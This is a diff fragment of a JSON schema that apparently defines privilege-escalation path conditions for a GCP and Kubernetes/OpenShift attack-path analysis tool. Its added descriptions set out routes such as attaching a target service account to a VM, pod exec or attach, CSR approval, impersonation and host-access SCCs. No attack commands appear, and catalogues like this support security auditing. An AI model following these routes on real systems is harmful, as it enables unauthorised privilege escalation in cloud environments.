"gcp_sa_in_scope_of_permission": { "const": true, "description": "Requirements with resource '*' must hold on the target SA's project (or the SA / an ancestor)." }, + "gcp_sa_swap_vm_path": { + "const": true, + "description": "An existing VM can stop if needed, attach the target service account, start, and run code or allow login on that same VM." + }, + "gcp_sourcerepo_trigger_path": { + "description": "A collected Cloud Source repository and enabled push trigger are joined to its exact build service account and source permission (push or selfgrant).", + "type": "string" + }, "gcp_vertex_batch_prediction_path": { "const": true, "description": "Source can create a batch prediction job with an inline container and use a target service account delegated to the Vertex AI service agent." @@ -3042,6 +3761,14 @@ "const": true, "description": "Source can upload a custom model, create an endpoint, deploy it, and use a target service account delegated to the Vertex AI service agent." }, + "gcp_vm_create_path": { + "const": true, + "description": "The source can create a VM with the target service account and a usable boot image, subnet, startup metadata, and outbound access path." + }, + "gcp_vmmigration_metadata_clone_path": { + "const": true, + "description": "Source can update and clone the same MigratingVm whose target defaults name the target runtime service account." + }, "gcp_wif_active_path": { "description": "An exact active workload pool or provider is joined to a pool-wide service-account token binding and the source's control action.", "type": "string" @@ -3072,7 +3799,19 @@ }, "gcp_workspace_super_admin_with_registered_domain": { "const": true, - "description": "gcp_workspace_user targets that are Workspace super administrators whose primary email domain is the domainName of a collected Cloud Domains registration; {target.domain_registration} = those registration resource names." + "description": "gcp_workspace_user targets that are Workspace super administrators of a customer whose customerDomain matches an ACTIVE Cloud Domains registration; {target.domain_registration} = those registration resource names." + }, + "gcp_workstations_create_config_path": { + "const": true, + "description": "An existing workstation cluster allows config and workstation creation for the chosen service account." + }, + "gcp_workstations_create_from_config_path": { + "const": true, + "description": "The source can create a workstation from an exact config and can act as the account if its scopes require that." + }, + "gcp_workstations_use_existing_path": { + "const": true, + "description": "The source can use an exact running workstation, start and use a stopped one, or self-grant access through its policy." }, "k8s_sa_has_token_secret": { "const": true, @@ -3333,6 +4072,7 @@ { "enum": [ "cloud_identity", + "gcp_service_account", "k8s_group", "k8s_node", "k8s_remote_cluster", @@ -3344,6 +4084,7 @@ "items": { "enum": [ "cloud_identity", + "gcp_service_account", "k8s_group", "k8s_node", "k8s_remote_cluster", @@ -3453,6 +4194,8 @@ "kind": { "enum": [ "cloud_identity", + "gcp_service_account", + "gcp_verified_authority", "k8s_admission_control", "k8s_cluster_admin", "k8s_group", @@ -3514,6 +4257,10 @@ "const": true, "description": "The source is bound in the target namespace to a ClusterRole whose aggregationRule selects new ClusterRoles." }, + "k8s_aggregation_new_role_path": { + "const": true, + "description": "An escalation grant admits a new ClusterRole name that is not already used by a collected role." + }, "k8s_bound_role_gain": { "const": true, "description": "Collected Role rules contain a concrete permission the source lacks; the source can bind that exact Role in the target namespace." @@ -3522,10 +4269,30 @@ "description": "Exact reviewed Kubernetes technique/source/target/scope evidence.", "type": "string" }, + "k8s_cluster_admin_role_exists": { + "const": true, + "description": "The named cluster-admin ClusterRole is collected and grants pod creation or named ServiceAccount TokenRequest in the target namespace." + }, "k8s_clusterrolebinding_gain": { "const": true, "description": "A collected ClusterRole grants a new cluster-wide permission and the source can bind that exact role." }, + "k8s_constrained_impersonation_gain": { + "description": "The impersonate-on action overlaps an observed right of the selected identity and grants a concrete action the source lacks.", + "type": "string" + }, + "k8s_csr_sa_subject": { + "const": true, + "description": "A collected RBAC binding names this ServiceAccount username and resolves to a role with effective rules." + }, + "k8s_csr_same_name_path": { + "const": true, + "description": "Read and approval permissions overlap on one creatable CSR name; restricted names stay unresolved without CSR inventory." + }, + "k8s_dangling_sa_permission_gain": { + "const": true, + "description": "The missing ServiceAccount's direct binding resolves to a role with a concrete permission that the source lacks." + }, "k8s_existing_clusterrolebinding_gain": { "const": true, "description": "An existing ClusterRoleBinding targets the exact ClusterRole and the source can modify that binding to gain a new cluster-wide permission." @@ -3538,6 +4305,18 @@ "const": true, "description": "Reviewed exact ConfigMap-to-Helm-to-RoleBinding permission grant for the lab documented by the source." }, + "k8s_kcc_project_policy_grant": { + "const": true, + "description": "Exact namespace RBAC can change a Config Connector project IAM resource whose configured identity can read and set that project's IAM policy." + }, + "k8s_kcc_service_account_key_path": { + "const": true, + "description": "Joined Config Connector identity and exact Google service account key creation through a namespaced Kubernetes source." + }, + "k8s_mutating_admission_policy_served": { + "const": true, + "description": "API discovery advertises both MutatingAdmissionPolicy and MutatingAdmissionPolicyBinding resources; missing resource discovery is unresolved." + }, "k8s_node_cloud_identity": { "const": true, "description": "Cloud identity attached to the node (cloud facts needed)." @@ -3573,6 +4352,10 @@ "const": true, "description": "Nodes running with the source EKS node role (instance facts) that the role is mapped to: a node access entry (EC2_LINUX/EC2_WINDOWS) = derived, no entry = conditional (aws-auth mapRoles not collected; dropped in API-only authentication mode); not evaluated without the related AWS eks_access_entry inventory." }, + "k8s_pod_access_path": { + "description": "Join the named Running pod, its ServiceAccount, token volume/mount and the source's exact-name RBAC grant for modify_image, exec, exec_get_websocket, attach or ephemeral_container.", + "type": "string" + }, "k8s_sa_absent_but_bound": { "const": true, "description": "Service account referenced by a (Cluster)RoleBinding subject but absent from the serviceaccount inventory (virtual SA node; anyone who can create it inherits the binding)." @@ -3590,6 +4373,10 @@ "minLength": 1, "type": "string" }, + "k8s_sa_missing_in_host_scc_users": { + "const": true, + "description": "OpenShift: absent service account named in a host-access SCC users[] entry in an existing namespace; missing inventory is unresolved." + }, "k8s_sa_name": { "anyOf": [ { @@ -3607,16 +4394,20 @@ }, "k8s_sa_named_in_scc_users": { "const": true, - "description": "OpenShift: service account named in a SecurityContextConstraints users[] entry (system:serviceaccount::); SA nodes that only an SCC names are virtual (not in the serviceaccount inventory). Not OpenShift: no targets." + "description": "OpenShift: service account named in a SecurityContextConstraints users[] entry (system:serviceaccount::); SA nodes only named by an SCC are virtual." }, "k8s_sa_namespace_absent": { "const": true, - "description": "Service account referenced by a binding subject or an SCC users[] entry whose namespace is absent from a complete namespace inventory (creating the namespace and the SA inherits the reference)." + "description": "Service account referenced by a binding that adds a concrete permission or by a host-access SCC users[] entry whose namespace is absent from a complete namespace inventory." }, "k8s_sa_used_by_controller_managed_pod": { "const": true, "description": "Service account is used by a pod owned by a controller (ownerReferences)." }, + "k8s_sa_used_by_interactive_pod": { + "const": true, + "description": "Service account is used by a Running pod with a running container whose stdin is enabled; whether its process accepts commands remains conditional." + }, "k8s_sa_used_by_pending_pod": { "const": true, "description": "Service account of a collected pod in phase Pending with no spec.nodeName (unscheduled; a pods/binding or bindings write can place it on a node the attacker controls)." @@ -3681,6 +4472,10 @@ "description": "Unique fresh reviewed evidence binds the exact source action and object to one accepted remote principal or newly granted Kubernetes permission.", "type": "string" }, + "k8s_websocket_exec_get_usable": { + "const": true, + "description": "The collected Kubernetes server version is older than 1.35, when WebSocket exec could use get alone; 1.35+ requires create by default and stays unresolved if the feature gate state is not collected." + }, "kube2iam_namespace_permits_role": { "description": "Namespace (usually {pivot.namespace}) annotation iam.amazonaws.com/permitted (kube2iam/kiam) allows the target role (annotation facts needed).", "minLength": 1, @@ -3691,6 +4486,18 @@ "minLength": 1, "type": "string" }, + "openshift_namespace_without_scc": { + "const": true, + "description": "A fixed OpenShift default project or a collected existing namespace with openshift.io/run-level; missing namespace labels remain unresolved." + }, + "openshift_source_host_scc_path": { + "const": true, + "description": "The source can use a collected privileged or host-filesystem SCC in the same namespace where it creates a Pod, through namespace-scoped RBAC or SCC users/groups." + }, + "openshift_unlabeled_existing_namespace": { + "const": true, + "description": "The pivot namespace exists and does not yet have openshift.io/run-level; the source must also hold namespace patch/update and workload creation on that exact namespace." + }, "resource_permission_covers_target": { "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", "minLength": 1,